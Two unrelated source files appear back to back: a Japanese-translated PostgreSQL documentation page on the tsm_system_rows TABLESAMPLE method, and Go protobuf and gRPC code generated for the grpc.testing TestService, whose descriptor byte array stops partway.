<sect1 id="tsm-system-rows" xreflabel="tsm_system_rows">
<title>tsm_system_rows</title>
<indexterm zone="tsm-system-rows">
<primary>tsm_system_rows</primary>
</indexterm>
<para>
<!--
The <filename>tsm_system_rows</filename> module provides the table sampling method
<literal>SYSTEM_ROWS</literal>, which can be used in
the <literal>TABLESAMPLE</literal> clause of a <xref linkend="sql-select"/>
command.
-->
<filename>tsm_system_rows</filename>モジュールは<literal>SYSTEM_ROWS</literal>というテーブルサンプリングメソッドを提供します。
これは<xref linkend="sql-select"/>コマンドの<literal>TABLESAMPLE</literal>句で利用できます。
</para>
<para>
<!--
This table sampling method accepts a single integer argument that is the
maximum number of rows to read. The resulting sample will always contain
exactly that many rows, unless the table does not contain enough rows, in
which case the whole table is selected.
-->
このテーブルサンプリングメソッドは読み込む最大行数を指定する整数の引数を1つ取ります。
結果のサンプルにはいつでもそれと正確に同じだけの行数が含まれます。
ただしテーブルにそれだけの行数がないときは、テーブル全体が選択されることになります。
</para>
<para>
<!--
Like the built-in <literal>SYSTEM</literal> sampling
method, <literal>SYSTEM_ROWS</literal> performs block-level sampling, so
that the sample is not completely random but may be subject to clustering
effects, especially if only a small number of rows are requested.
-->
組み込みの<literal>SYSTEM</literal>サンプリングメソッドと同様、<literal>SYSTEM_ROWS</literal>はブロックレベルのサンプリングを行うため、サンプルは完全にはランダムではなく、特にごく少数の行が要求されたときはクラスタリングの影響を受けます。
</para>
<para>
<!--
<literal>SYSTEM_ROWS</literal> does not support
the <literal>REPEATABLE</literal> clause.
-->
<literal>SYSTEM_ROWS</literal>は<literal>REPEATABLE</literal>句をサポートしません。
</para>
<sect2>
<!--
<title>Examples</title>
-->
<title>例</title>
<para>
<!--
Here is an example of selecting a sample of a table with
<literal>SYSTEM_ROWS</literal>. First install the extension:
-->
以下に<literal>SYSTEM_ROWS</literal>を使ってテーブルのサンプルをSELECTする例を示します。
まず、拡張をインストールします。
</para>
<programlisting>
CREATE EXTENSION tsm_system_rows;
</programlisting>
<para>
<!--
Then you can use it in a <command>SELECT</command> command, for instance:
-->
これで、例えば以下のように<command>SELECT</command>コマンドを使うことができます。
<programlisting>
SELECT * FROM my_table TABLESAMPLE SYSTEM_ROWS(100);
</programlisting>
</para>
<para>
<!--
This command will return a sample of 100 rows from the
table <structname>my_table</structname> (unless the table does not have 100
visible rows, in which case all its rows are returned).
-->
このコマンドはテーブル<structname>my_table</structname>からサンプルの100行を返します。
(ただし、テーブルに可視の行が100行ないときは、すべての行が返されます。)
</para>
</sect2>
</sect1>
| {
"pile_set_name": "Github"
} |
// Code generated by protoc-gen-go.
// source: test.proto
// DO NOT EDIT!
/*
Package grpc_testing is a generated protocol buffer package.
It is generated from these files:
test.proto
It has these top-level messages:
Empty
Payload
EchoStatus
SimpleRequest
SimpleResponse
StreamingInputCallRequest
StreamingInputCallResponse
ResponseParameters
StreamingOutputCallRequest
StreamingOutputCallResponse
*/
package grpc_testing
import proto "github.com/golang/protobuf/proto"
import fmt "fmt"
import math "math"
import (
context "golang.org/x/net/context"
grpc "google.golang.org/grpc"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package
// The type of payload that should be returned.
type PayloadType int32
const (
// Compressable text format.
PayloadType_COMPRESSABLE PayloadType = 0
// Uncompressable binary format.
PayloadType_UNCOMPRESSABLE PayloadType = 1
// Randomly chosen from all other formats defined in this enum.
PayloadType_RANDOM PayloadType = 2
)
var PayloadType_name = map[int32]string{
0: "COMPRESSABLE",
1: "UNCOMPRESSABLE",
2: "RANDOM",
}
var PayloadType_value = map[string]int32{
"COMPRESSABLE": 0,
"UNCOMPRESSABLE": 1,
"RANDOM": 2,
}
func (x PayloadType) Enum() *PayloadType {
p := new(PayloadType)
*p = x
return p
}
func (x PayloadType) String() string {
return proto.EnumName(PayloadType_name, int32(x))
}
func (x *PayloadType) UnmarshalJSON(data []byte) error {
value, err := proto.UnmarshalJSONEnum(PayloadType_value, data, "PayloadType")
if err != nil {
return err
}
*x = PayloadType(value)
return nil
}
func (PayloadType) EnumDescriptor() ([]byte, []int) { return fileDescriptor0, []int{0} }
type Empty struct {
XXX_unrecognized []byte `json:"-"`
}
func (m *Empty) Reset() { *m = Empty{} }
func (m *Empty) String() string { return proto.CompactTextString(m) }
func (*Empty) ProtoMessage() {}
func (*Empty) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} }
// A block of data, to simply increase gRPC message size.
type Payload struct {
// The type of data in body.
Type *PayloadType `protobuf:"varint,1,opt,name=type,enum=grpc.testing.PayloadType" json:"type,omitempty"`
// Primary contents of payload.
Body []byte `protobuf:"bytes,2,opt,name=body" json:"body,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *Payload) Reset() { *m = Payload{} }
func (m *Payload) String() string { return proto.CompactTextString(m) }
func (*Payload) ProtoMessage() {}
func (*Payload) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} }
func (m *Payload) GetType() PayloadType {
if m != nil && m.Type != nil {
return *m.Type
}
return PayloadType_COMPRESSABLE
}
func (m *Payload) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
// A protobuf representation for grpc status. This is used by test
// clients to specify a status that the server should attempt to return.
type EchoStatus struct {
Code *int32 `protobuf:"varint,1,opt,name=code" json:"code,omitempty"`
Message *string `protobuf:"bytes,2,opt,name=message" json:"message,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *EchoStatus) Reset() { *m = EchoStatus{} }
func (m *EchoStatus) String() string { return proto.CompactTextString(m) }
func (*EchoStatus) ProtoMessage() {}
func (*EchoStatus) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{2} }
func (m *EchoStatus) GetCode() int32 {
if m != nil && m.Code != nil {
return *m.Code
}
return 0
}
func (m *EchoStatus) GetMessage() string {
if m != nil && m.Message != nil {
return *m.Message
}
return ""
}
// Unary request.
type SimpleRequest struct {
// Desired payload type in the response from the server.
// If response_type is RANDOM, server randomly chooses one from other formats.
ResponseType *PayloadType `protobuf:"varint,1,opt,name=response_type,json=responseType,enum=grpc.testing.PayloadType" json:"response_type,omitempty"`
// Desired payload size in the response from the server.
// If response_type is COMPRESSABLE, this denotes the size before compression.
ResponseSize *int32 `protobuf:"varint,2,opt,name=response_size,json=responseSize" json:"response_size,omitempty"`
// Optional input payload sent along with the request.
Payload *Payload `protobuf:"bytes,3,opt,name=payload" json:"payload,omitempty"`
// Whether SimpleResponse should include username.
FillUsername *bool `protobuf:"varint,4,opt,name=fill_username,json=fillUsername" json:"fill_username,omitempty"`
// Whether SimpleResponse should include OAuth scope.
FillOauthScope *bool `protobuf:"varint,5,opt,name=fill_oauth_scope,json=fillOauthScope" json:"fill_oauth_scope,omitempty"`
// Whether server should return a given status
ResponseStatus *EchoStatus `protobuf:"bytes,7,opt,name=response_status,json=responseStatus" json:"response_status,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *SimpleRequest) Reset() { *m = SimpleRequest{} }
func (m *SimpleRequest) String() string { return proto.CompactTextString(m) }
func (*SimpleRequest) ProtoMessage() {}
func (*SimpleRequest) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{3} }
func (m *SimpleRequest) GetResponseType() PayloadType {
if m != nil && m.ResponseType != nil {
return *m.ResponseType
}
return PayloadType_COMPRESSABLE
}
func (m *SimpleRequest) GetResponseSize() int32 {
if m != nil && m.ResponseSize != nil {
return *m.ResponseSize
}
return 0
}
func (m *SimpleRequest) GetPayload() *Payload {
if m != nil {
return m.Payload
}
return nil
}
func (m *SimpleRequest) GetFillUsername() bool {
if m != nil && m.FillUsername != nil {
return *m.FillUsername
}
return false
}
func (m *SimpleRequest) GetFillOauthScope() bool {
if m != nil && m.FillOauthScope != nil {
return *m.FillOauthScope
}
return false
}
func (m *SimpleRequest) GetResponseStatus() *EchoStatus {
if m != nil {
return m.ResponseStatus
}
return nil
}
// Unary response, as configured by the request.
type SimpleResponse struct {
// Payload to increase message size.
Payload *Payload `protobuf:"bytes,1,opt,name=payload" json:"payload,omitempty"`
// The user the request came from, for verifying authentication was
// successful when the client expected it.
Username *string `protobuf:"bytes,2,opt,name=username" json:"username,omitempty"`
// OAuth scope.
OauthScope *string `protobuf:"bytes,3,opt,name=oauth_scope,json=oauthScope" json:"oauth_scope,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *SimpleResponse) Reset() { *m = SimpleResponse{} }
func (m *SimpleResponse) String() string { return proto.CompactTextString(m) }
func (*SimpleResponse) ProtoMessage() {}
func (*SimpleResponse) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{4} }
func (m *SimpleResponse) GetPayload() *Payload {
if m != nil {
return m.Payload
}
return nil
}
func (m *SimpleResponse) GetUsername() string {
if m != nil && m.Username != nil {
return *m.Username
}
return ""
}
func (m *SimpleResponse) GetOauthScope() string {
if m != nil && m.OauthScope != nil {
return *m.OauthScope
}
return ""
}
// Client-streaming request.
type StreamingInputCallRequest struct {
// Optional input payload sent along with the request.
Payload *Payload `protobuf:"bytes,1,opt,name=payload" json:"payload,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *StreamingInputCallRequest) Reset() { *m = StreamingInputCallRequest{} }
func (m *StreamingInputCallRequest) String() string { return proto.CompactTextString(m) }
func (*StreamingInputCallRequest) ProtoMessage() {}
func (*StreamingInputCallRequest) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{5} }
func (m *StreamingInputCallRequest) GetPayload() *Payload {
if m != nil {
return m.Payload
}
return nil
}
// Client-streaming response.
type StreamingInputCallResponse struct {
// Aggregated size of payloads received from the client.
AggregatedPayloadSize *int32 `protobuf:"varint,1,opt,name=aggregated_payload_size,json=aggregatedPayloadSize" json:"aggregated_payload_size,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *StreamingInputCallResponse) Reset() { *m = StreamingInputCallResponse{} }
func (m *StreamingInputCallResponse) String() string { return proto.CompactTextString(m) }
func (*StreamingInputCallResponse) ProtoMessage() {}
func (*StreamingInputCallResponse) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{6} }
func (m *StreamingInputCallResponse) GetAggregatedPayloadSize() int32 {
if m != nil && m.AggregatedPayloadSize != nil {
return *m.AggregatedPayloadSize
}
return 0
}
// Configuration for a particular response.
type ResponseParameters struct {
// Desired payload sizes in responses from the server.
// If response_type is COMPRESSABLE, this denotes the size before compression.
Size *int32 `protobuf:"varint,1,opt,name=size" json:"size,omitempty"`
// Desired interval between consecutive responses in the response stream in
// microseconds.
IntervalUs *int32 `protobuf:"varint,2,opt,name=interval_us,json=intervalUs" json:"interval_us,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *ResponseParameters) Reset() { *m = ResponseParameters{} }
func (m *ResponseParameters) String() string { return proto.CompactTextString(m) }
func (*ResponseParameters) ProtoMessage() {}
func (*ResponseParameters) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{7} }
func (m *ResponseParameters) GetSize() int32 {
if m != nil && m.Size != nil {
return *m.Size
}
return 0
}
func (m *ResponseParameters) GetIntervalUs() int32 {
if m != nil && m.IntervalUs != nil {
return *m.IntervalUs
}
return 0
}
// Server-streaming request.
type StreamingOutputCallRequest struct {
// Desired payload type in the response from the server.
// If response_type is RANDOM, the payload from each response in the stream
// might be of different types. This is to simulate a mixed type of payload
// stream.
ResponseType *PayloadType `protobuf:"varint,1,opt,name=response_type,json=responseType,enum=grpc.testing.PayloadType" json:"response_type,omitempty"`
// Configuration for each expected response message.
ResponseParameters []*ResponseParameters `protobuf:"bytes,2,rep,name=response_parameters,json=responseParameters" json:"response_parameters,omitempty"`
// Optional input payload sent along with the request.
Payload *Payload `protobuf:"bytes,3,opt,name=payload" json:"payload,omitempty"`
// Whether server should return a given status
ResponseStatus *EchoStatus `protobuf:"bytes,7,opt,name=response_status,json=responseStatus" json:"response_status,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *StreamingOutputCallRequest) Reset() { *m = StreamingOutputCallRequest{} }
func (m *StreamingOutputCallRequest) String() string { return proto.CompactTextString(m) }
func (*StreamingOutputCallRequest) ProtoMessage() {}
func (*StreamingOutputCallRequest) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{8} }
func (m *StreamingOutputCallRequest) GetResponseType() PayloadType {
if m != nil && m.ResponseType != nil {
return *m.ResponseType
}
return PayloadType_COMPRESSABLE
}
func (m *StreamingOutputCallRequest) GetResponseParameters() []*ResponseParameters {
if m != nil {
return m.ResponseParameters
}
return nil
}
func (m *StreamingOutputCallRequest) GetPayload() *Payload {
if m != nil {
return m.Payload
}
return nil
}
func (m *StreamingOutputCallRequest) GetResponseStatus() *EchoStatus {
if m != nil {
return m.ResponseStatus
}
return nil
}
// Server-streaming response, as configured by the request and parameters.
type StreamingOutputCallResponse struct {
// Payload to increase response size.
Payload *Payload `protobuf:"bytes,1,opt,name=payload" json:"payload,omitempty"`
XXX_unrecognized []byte `json:"-"`
}
func (m *StreamingOutputCallResponse) Reset() { *m = StreamingOutputCallResponse{} }
func (m *StreamingOutputCallResponse) String() string { return proto.CompactTextString(m) }
func (*StreamingOutputCallResponse) ProtoMessage() {}
func (*StreamingOutputCallResponse) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{9} }
func (m *StreamingOutputCallResponse) GetPayload() *Payload {
if m != nil {
return m.Payload
}
return nil
}
func init() {
proto.RegisterType((*Empty)(nil), "grpc.testing.Empty")
proto.RegisterType((*Payload)(nil), "grpc.testing.Payload")
proto.RegisterType((*EchoStatus)(nil), "grpc.testing.EchoStatus")
proto.RegisterType((*SimpleRequest)(nil), "grpc.testing.SimpleRequest")
proto.RegisterType((*SimpleResponse)(nil), "grpc.testing.SimpleResponse")
proto.RegisterType((*StreamingInputCallRequest)(nil), "grpc.testing.StreamingInputCallRequest")
proto.RegisterType((*StreamingInputCallResponse)(nil), "grpc.testing.StreamingInputCallResponse")
proto.RegisterType((*ResponseParameters)(nil), "grpc.testing.ResponseParameters")
proto.RegisterType((*StreamingOutputCallRequest)(nil), "grpc.testing.StreamingOutputCallRequest")
proto.RegisterType((*StreamingOutputCallResponse)(nil), "grpc.testing.StreamingOutputCallResponse")
proto.RegisterEnum("grpc.testing.PayloadType", PayloadType_name, PayloadType_value)
}
// Reference imports to suppress errors if they are not otherwise used.
var _ context.Context
var _ grpc.ClientConn
// This is a compile-time assertion to ensure that this generated file
// is compatible with the grpc package it is being compiled against.
const _ = grpc.SupportPackageIsVersion4
// Client API for TestService service
type TestServiceClient interface {
// One empty request followed by one empty response.
EmptyCall(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Empty, error)
// One request followed by one response.
// The server returns the client payload as-is.
UnaryCall(ctx context.Context, in *SimpleRequest, opts ...grpc.CallOption) (*SimpleResponse, error)
// One request followed by a sequence of responses (streamed download).
// The server returns the payload with client desired type and sizes.
StreamingOutputCall(ctx context.Context, in *StreamingOutputCallRequest, opts ...grpc.CallOption) (TestService_StreamingOutputCallClient, error)
// A sequence of requests followed by one response (streamed upload).
// The server returns the aggregated size of client payload as the result.
StreamingInputCall(ctx context.Context, opts ...grpc.CallOption) (TestService_StreamingInputCallClient, error)
// A sequence of requests with each request served by the server immediately.
// As one request could lead to multiple responses, this interface
// demonstrates the idea of full duplexing.
FullDuplexCall(ctx context.Context, opts ...grpc.CallOption) (TestService_FullDuplexCallClient, error)
// A sequence of requests followed by a sequence of responses.
// The server buffers all the client requests and then serves them in order. A
// stream of responses are returned to the client when the server starts with
// first request.
HalfDuplexCall(ctx context.Context, opts ...grpc.CallOption) (TestService_HalfDuplexCallClient, error)
}
type testServiceClient struct {
cc *grpc.ClientConn
}
func NewTestServiceClient(cc *grpc.ClientConn) TestServiceClient {
return &testServiceClient{cc}
}
func (c *testServiceClient) EmptyCall(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Empty, error) {
out := new(Empty)
err := grpc.Invoke(ctx, "/grpc.testing.TestService/EmptyCall", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *testServiceClient) UnaryCall(ctx context.Context, in *SimpleRequest, opts ...grpc.CallOption) (*SimpleResponse, error) {
out := new(SimpleResponse)
err := grpc.Invoke(ctx, "/grpc.testing.TestService/UnaryCall", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *testServiceClient) StreamingOutputCall(ctx context.Context, in *StreamingOutputCallRequest, opts ...grpc.CallOption) (TestService_StreamingOutputCallClient, error) {
stream, err := grpc.NewClientStream(ctx, &_TestService_serviceDesc.Streams[0], c.cc, "/grpc.testing.TestService/StreamingOutputCall", opts...)
if err != nil {
return nil, err
}
x := &testServiceStreamingOutputCallClient{stream}
if err := x.ClientStream.SendMsg(in); err != nil {
return nil, err
}
if err := x.ClientStream.CloseSend(); err != nil {
return nil, err
}
return x, nil
}
type TestService_StreamingOutputCallClient interface {
Recv() (*StreamingOutputCallResponse, error)
grpc.ClientStream
}
type testServiceStreamingOutputCallClient struct {
grpc.ClientStream
}
func (x *testServiceStreamingOutputCallClient) Recv() (*StreamingOutputCallResponse, error) {
m := new(StreamingOutputCallResponse)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *testServiceClient) StreamingInputCall(ctx context.Context, opts ...grpc.CallOption) (TestService_StreamingInputCallClient, error) {
stream, err := grpc.NewClientStream(ctx, &_TestService_serviceDesc.Streams[1], c.cc, "/grpc.testing.TestService/StreamingInputCall", opts...)
if err != nil {
return nil, err
}
x := &testServiceStreamingInputCallClient{stream}
return x, nil
}
type TestService_StreamingInputCallClient interface {
Send(*StreamingInputCallRequest) error
CloseAndRecv() (*StreamingInputCallResponse, error)
grpc.ClientStream
}
type testServiceStreamingInputCallClient struct {
grpc.ClientStream
}
func (x *testServiceStreamingInputCallClient) Send(m *StreamingInputCallRequest) error {
return x.ClientStream.SendMsg(m)
}
func (x *testServiceStreamingInputCallClient) CloseAndRecv() (*StreamingInputCallResponse, error) {
if err := x.ClientStream.CloseSend(); err != nil {
return nil, err
}
m := new(StreamingInputCallResponse)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *testServiceClient) FullDuplexCall(ctx context.Context, opts ...grpc.CallOption) (TestService_FullDuplexCallClient, error) {
stream, err := grpc.NewClientStream(ctx, &_TestService_serviceDesc.Streams[2], c.cc, "/grpc.testing.TestService/FullDuplexCall", opts...)
if err != nil {
return nil, err
}
x := &testServiceFullDuplexCallClient{stream}
return x, nil
}
type TestService_FullDuplexCallClient interface {
Send(*StreamingOutputCallRequest) error
Recv() (*StreamingOutputCallResponse, error)
grpc.ClientStream
}
type testServiceFullDuplexCallClient struct {
grpc.ClientStream
}
func (x *testServiceFullDuplexCallClient) Send(m *StreamingOutputCallRequest) error {
return x.ClientStream.SendMsg(m)
}
func (x *testServiceFullDuplexCallClient) Recv() (*StreamingOutputCallResponse, error) {
m := new(StreamingOutputCallResponse)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *testServiceClient) HalfDuplexCall(ctx context.Context, opts ...grpc.CallOption) (TestService_HalfDuplexCallClient, error) {
stream, err := grpc.NewClientStream(ctx, &_TestService_serviceDesc.Streams[3], c.cc, "/grpc.testing.TestService/HalfDuplexCall", opts...)
if err != nil {
return nil, err
}
x := &testServiceHalfDuplexCallClient{stream}
return x, nil
}
type TestService_HalfDuplexCallClient interface {
Send(*StreamingOutputCallRequest) error
Recv() (*StreamingOutputCallResponse, error)
grpc.ClientStream
}
type testServiceHalfDuplexCallClient struct {
grpc.ClientStream
}
func (x *testServiceHalfDuplexCallClient) Send(m *StreamingOutputCallRequest) error {
return x.ClientStream.SendMsg(m)
}
func (x *testServiceHalfDuplexCallClient) Recv() (*StreamingOutputCallResponse, error) {
m := new(StreamingOutputCallResponse)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// Server API for TestService service
type TestServiceServer interface {
// One empty request followed by one empty response.
EmptyCall(context.Context, *Empty) (*Empty, error)
// One request followed by one response.
// The server returns the client payload as-is.
UnaryCall(context.Context, *SimpleRequest) (*SimpleResponse, error)
// One request followed by a sequence of responses (streamed download).
// The server returns the payload with client desired type and sizes.
StreamingOutputCall(*StreamingOutputCallRequest, TestService_StreamingOutputCallServer) error
// A sequence of requests followed by one response (streamed upload).
// The server returns the aggregated size of client payload as the result.
StreamingInputCall(TestService_StreamingInputCallServer) error
// A sequence of requests with each request served by the server immediately.
// As one request could lead to multiple responses, this interface
// demonstrates the idea of full duplexing.
FullDuplexCall(TestService_FullDuplexCallServer) error
// A sequence of requests followed by a sequence of responses.
// The server buffers all the client requests and then serves them in order. A
// stream of responses are returned to the client when the server starts with
// first request.
HalfDuplexCall(TestService_HalfDuplexCallServer) error
}
func RegisterTestServiceServer(s *grpc.Server, srv TestServiceServer) {
s.RegisterService(&_TestService_serviceDesc, srv)
}
func _TestService_EmptyCall_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TestServiceServer).EmptyCall(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/grpc.testing.TestService/EmptyCall",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TestServiceServer).EmptyCall(ctx, req.(*Empty))
}
return interceptor(ctx, in, info, handler)
}
func _TestService_UnaryCall_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(SimpleRequest)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TestServiceServer).UnaryCall(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/grpc.testing.TestService/UnaryCall",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TestServiceServer).UnaryCall(ctx, req.(*SimpleRequest))
}
return interceptor(ctx, in, info, handler)
}
func _TestService_StreamingOutputCall_Handler(srv interface{}, stream grpc.ServerStream) error {
m := new(StreamingOutputCallRequest)
if err := stream.RecvMsg(m); err != nil {
return err
}
return srv.(TestServiceServer).StreamingOutputCall(m, &testServiceStreamingOutputCallServer{stream})
}
type TestService_StreamingOutputCallServer interface {
Send(*StreamingOutputCallResponse) error
grpc.ServerStream
}
type testServiceStreamingOutputCallServer struct {
grpc.ServerStream
}
func (x *testServiceStreamingOutputCallServer) Send(m *StreamingOutputCallResponse) error {
return x.ServerStream.SendMsg(m)
}
func _TestService_StreamingInputCall_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(TestServiceServer).StreamingInputCall(&testServiceStreamingInputCallServer{stream})
}
type TestService_StreamingInputCallServer interface {
SendAndClose(*StreamingInputCallResponse) error
Recv() (*StreamingInputCallRequest, error)
grpc.ServerStream
}
type testServiceStreamingInputCallServer struct {
grpc.ServerStream
}
func (x *testServiceStreamingInputCallServer) SendAndClose(m *StreamingInputCallResponse) error {
return x.ServerStream.SendMsg(m)
}
func (x *testServiceStreamingInputCallServer) Recv() (*StreamingInputCallRequest, error) {
m := new(StreamingInputCallRequest)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func _TestService_FullDuplexCall_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(TestServiceServer).FullDuplexCall(&testServiceFullDuplexCallServer{stream})
}
type TestService_FullDuplexCallServer interface {
Send(*StreamingOutputCallResponse) error
Recv() (*StreamingOutputCallRequest, error)
grpc.ServerStream
}
type testServiceFullDuplexCallServer struct {
grpc.ServerStream
}
func (x *testServiceFullDuplexCallServer) Send(m *StreamingOutputCallResponse) error {
return x.ServerStream.SendMsg(m)
}
func (x *testServiceFullDuplexCallServer) Recv() (*StreamingOutputCallRequest, error) {
m := new(StreamingOutputCallRequest)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func _TestService_HalfDuplexCall_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(TestServiceServer).HalfDuplexCall(&testServiceHalfDuplexCallServer{stream})
}
type TestService_HalfDuplexCallServer interface {
Send(*StreamingOutputCallResponse) error
Recv() (*StreamingOutputCallRequest, error)
grpc.ServerStream
}
type testServiceHalfDuplexCallServer struct {
grpc.ServerStream
}
func (x *testServiceHalfDuplexCallServer) Send(m *StreamingOutputCallResponse) error {
return x.ServerStream.SendMsg(m)
}
func (x *testServiceHalfDuplexCallServer) Recv() (*StreamingOutputCallRequest, error) {
m := new(StreamingOutputCallRequest)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
var _TestService_serviceDesc = grpc.ServiceDesc{
ServiceName: "grpc.testing.TestService",
HandlerType: (*TestServiceServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "EmptyCall",
Handler: _TestService_EmptyCall_Handler,
},
{
MethodName: "UnaryCall",
Handler: _TestService_UnaryCall_Handler,
},
},
Streams: []grpc.StreamDesc{
{
StreamName: "StreamingOutputCall",
Handler: _TestService_StreamingOutputCall_Handler,
ServerStreams: true,
},
{
StreamName: "StreamingInputCall",
Handler: _TestService_StreamingInputCall_Handler,
ClientStreams: true,
},
{
StreamName: "FullDuplexCall",
Handler: _TestService_FullDuplexCall_Handler,
ServerStreams: true,
ClientStreams: true,
},
{
StreamName: "HalfDuplexCall",
Handler: _TestService_HalfDuplexCall_Handler,
ServerStreams: true,
ClientStreams: true,
},
},
Metadata: "test.proto",
}
func init() { proto.RegisterFile("test.proto", fileDescriptor0) }
var fileDescriptor0 = []byte{
// 625 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xbc, 0x54, 0x4d, 0x6f, 0xd3, 0x4c,
0x10, 0x7e, 0x9d, 0x8f, 0x37, 0xcd, 0x24, 0x35, 0xd1, 0x46, 0x15, 0xae, 0x8b, 0x44, 0x65, 0x0e,
0x18, 0x24, 0x02, 0x8a, 0x04, 0x07, 0x0e, 0xa0, 0xd0, 0xa6, 0xa2, 0x52, 0x9b, 0x04, 0x3b, 0x39,
0x47, 0x4b, 0xb2, 0x75, 0x2d, 0x39, 0xb6, 0xb1, 0xd7, 0x88, 0x70, 0xe0, 0xcf, 0xf0, 0x23, 0x38,
0xf0, 0xe7, 0xd8, 0x5d, 0x7f, 0xc4, 0x49, 0x5c, 0x91, 0xf2, 0x75, 0xdb, 0x7d, 0xf6, 0x99, 0x67,
0xe6, 0x99, 0x19, 0x1b, 0x80, 0x92, 0x90, 0x76, 0xfc, 0xc0, 0xa3, 0x1e, 0x6a, 0x5a, 0x81, 0x3f,
0xeb, 0x70, 0xc0, 0x76, 0x2d, 0xad, 0x06, 0xd5, 0xfe, 0xc2, 0xa7, 0x4b, 0xed, 0x02, 0x6a, 0x23,
0xbc, 0x74, 0x3c, 0x3c, 0x47, 0x4f, 0xa0, 0x42, 0x97, 0x3e, 0x51, 0xa4, 0x63, 0x49, 0x97, 0xbb,
0x87, 0x9d, 0x7c, 0x40, 0x27, 0x21, 0x8d, 0x19, 0xc1, 0x10, 0x34, 0x84, 0xa0, 0xf2, 0xde, 0x9b,
0x2f, 0x95, 0x12, 0xa3, 0x37, 0x0d, 0x71, 0xd6, 0x5e, 0x02, 0xf4, 0x67, 0xd7, 0x9e, 0x49, 0x31,
0x8d, 0x42, 0xce, 0x98, 0x79, 0xf3, 0x58, 0xb0, 0x6a, 0x88, 0x33, 0x52, 0xa0, 0xb6, 0x20, 0x61,
0x88, 0x2d, 0x22, 0x02, 0xeb, 0x46, 0x7a, 0xd5, 0xbe, 0x95, 0x60, 0xdf, 0xb4, 0x17, 0xbe, 0x43,
0x0c, 0xf2, 0x21, 0x62, 0x69, 0xd1, 0x2b, 0xd8, 0x0f, 0x48, 0xe8, 0x7b, 0x6e, 0x48, 0xa6, 0xbb,
0x55, 0xd6, 0x4c, 0xf9, 0xfc, 0x86, 0x1e, 0xe4, 0xe2, 0x43, 0xfb, 0x73, 0x9c, 0xb1, 0xba, 0x22,
0x99, 0x0c, 0x43, 0x4f, 0xa1, 0xe6, 0xc7, 0x0a, 0x4a, 0x99, 0x3d, 0x37, 0xba, 0x07, 0x85, 0xf2,
0x46, 0xca, 0xe2, 0xaa, 0x57, 0xb6, 0xe3, 0x4c, 0xa3, 0x90, 0x04, 0x2e, 0x5e, 0x10, 0xa5, 0xc2,
0xc2, 0xf6, 0x8c, 0x26, 0x07, 0x27, 0x09, 0x86, 0x74, 0x68, 0x09, 0x92, 0x87, 0x23, 0x7a, 0x3d,
0x0d, 0x67, 0x1e, 0xab, 0xbe, 0x2a, 0x78, 0x32, 0xc7, 0x87, 0x1c, 0x36, 0x39, 0x8a, 0x7a, 0x70,
0x67, 0x55, 0xa4, 0xe8, 0x9b, 0x52, 0x13, 0x75, 0x28, 0xeb, 0x75, 0xac, 0xfa, 0x6a, 0xc8, 0x99,
0x01, 0x71, 0xd7, 0xbe, 0x80, 0x9c, 0x36, 0x2e, 0xc6, 0xf3, 0xa6, 0xa4, 0x9d, 0x4c, 0xa9, 0xb0,
0x97, 0xf9, 0x89, 0xe7, 0x92, 0xdd, 0xd1, 0x7d, 0x68, 0xe4, 0x6d, 0x94, 0xc5, 0x33, 0x78, 0x99,
